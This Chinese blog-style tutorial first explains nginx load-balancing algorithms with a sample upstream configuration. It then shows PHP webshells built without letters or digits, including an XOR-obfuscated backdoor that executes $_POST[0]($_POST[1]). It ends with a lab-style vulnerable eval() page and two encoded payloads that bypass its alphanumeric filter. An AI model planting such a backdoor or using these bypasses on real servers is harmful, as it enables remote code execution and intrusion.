认识负载均衡||WEBSHELL

目录

一、负载均衡

1.nginx负载均衡算法

2.nginx反向代理-负载均衡

二、webshell

1.构造不含数字和字母的webshell

2.如何绕过


一、负载均衡

1.nginx负载均衡算法

(1)轮询(默认)每个请求按时间顺序逐一分配到不同的后端服务,如果后端某台服务器死机,自动剔除故障系统,使用户访问不受影响。

(2)weight(轮询权值)weight的值越大分配到的访问概率越高,主要用于后端每台服务器性能不均衡的情况下。仅仅为在主从的情况下设置不同的权值,达到合理有效的地利用主机资源。

(3)ip_hash 源地址哈希法源地址哈希的思想是根据获取客户端的IP地址,通过哈希函数计算得到的一个数值,用该数值对服务器列表的大小进行取模运算,得到的结果便是客服端要访问服务器的序号。采用源地址哈希法进行负载均衡,同一IP地址的客户端,当后端服务器列表不变时,它每次都会映射到同一台后端服务器进行访问。

(4)fair比 weight、ip_hash更加智能的负载均衡算法,fair算法可以根据页面大小和加载时间长短智能地进行负载均衡,也就是根据后端服务器的响应时间 来分配请求,响应时间短的优先分配。Nginx本身不支持fair,如果需要这种调度算法,则必须安装upstream_fair模块。

(5)url_hash按访问的URL的哈希结果来分配请求,使每个URL定向到一台后端服务器,可以进一步提高后端缓存服务器的效率。Nginx本身不支持url_hash,如果需要这种调度算法,则必须安装Nginx的hash软件包。

其中须注意ip_hash可以保持一个长链接,会话链接,保持session。

2.nginx反向代理-负载均衡

首先修改nginx.conf的配置文件。

该部分添加到nginx.conf的http中:
upstream nginx_php{
   # 30s内检查心跳发送两次包,未回复就代表该机器宕机,请求分发权重比为1:2
   server 192.168.41.132 weight=100 max_fails=2 fail_timeout=30s; 
   server 192.168.41.1 weight=200 max_fails=2 fail_timeout=30s;
}

该部分添加到nginx.conf的server中:
server {
    location / {
        root   html;
        index  index.html index.htm index.jsp index.ftl;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_pass http://nginx_php;
    }
}

然后分别在192.168.41.132中分别创建对应的页面,用于展示负载是否成功。

192.168.41.132的页面:

然后在192.168.41.1同样搭建一个页面:

然后重启nginx进行访问。

首先跳转到192.168.41.132的页面。

通过刷新跳转到192.168.41.1的页面,再次刷新依然是该页面,因为这个页面的权重是2。

再次刷新后又跳转回192.168.41.128的页面。

总结:通过nginx反向代理-负载均衡可以很大的改善网站的访问效率。

二、webshell

1.构造不含数字和字母的webshell

<?php
    function B(){
        echo "Hello Angel_Kitty";
    }
    $_++;
    $__= "?" ^ "}";   #通过异或操作得到B
    $__();
?>
运行结果为:Hello Angel_Kitty

下面是个非常简单的非数字字母的PHP后门:

<?php
    @$_++; // $_ = 1
    $__=("#"^"|"); // $__ = _
    $__.=("."^"~"); // _P
    $__.=("/"^"`"); // _PO
    $__.=("|"^"/"); // _POS
    $__.=("{"^"/"); // _POST 
    ${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
?>

2.如何绕过

通过案例进行介绍。

首先创建web.php和flag.php。

web.php:
<?php
include 'flag.php';
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>40){
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9]+/",$code)){
        die("NO.");
    }
    @eval($code);
}else{
    highlight_file(__FILE__);
}
?>

flag.php:
<?php
function getFlag(){
    echo "yanan{i love yanan}";
}

然后运行,首先查看一下运行的web.php:

通过写payload实现输出flag.php的内容。

第一种payload:?code=_="\`{{{"\^"?\<\>/";{$}[]();&_=getFlag

最终运行结果如下:

第二种payload:?code=_=\~%98%9A%8B%B9%93%9E%98;_();

第二种主要就是进行一个取反的操作实现绕过。

可见与flag.php中的构造函数中的echo输出结果一致,最终实现绕过的效果。

相关推荐
WBingJ1 分钟前
机器学习基础-贝叶斯分类器
人工智能·算法·机器学习
MichaelIp6 分钟前
LLM大模型RAG内容安全合规检查
人工智能·python·安全·语言模型·自然语言处理·chatgpt·word2vec
Lenyiin33 分钟前
第431场周赛:最长乘积等价子数组、计算字符串的镜像分数、收集连续 K 个袋子可以获得的最多硬币数量、不重叠区间的最大得分
c++·算法·leetcode·周赛·lenyiin
行知SLAM1 小时前
第0章 机器人及自动驾驶SLAM定位方法全解析及入门进阶学习建议
人工智能·算法·机器人·自动驾驶
瘾大侠1 小时前
渗透测试--Web基础漏洞利用技巧
安全·web安全·网络安全
高校网站建设群系统EduCMS2 小时前
定制级安全重保方案,确保重大活动期间的网络安全无忧
网络·安全
山兔13 小时前
19.3、Unix Linux安全分析与防护
linux·安全·unix
起名方面没有灵感3 小时前
力扣23.合并K个升序链表
java·算法
啊烨疯狂学java3 小时前
0105java字节面经
java·jvm·算法
Hacker_Oldv4 小时前
[CTF/网络安全] 攻防世界 Training-WWW-Robots 解题详析
安全·web安全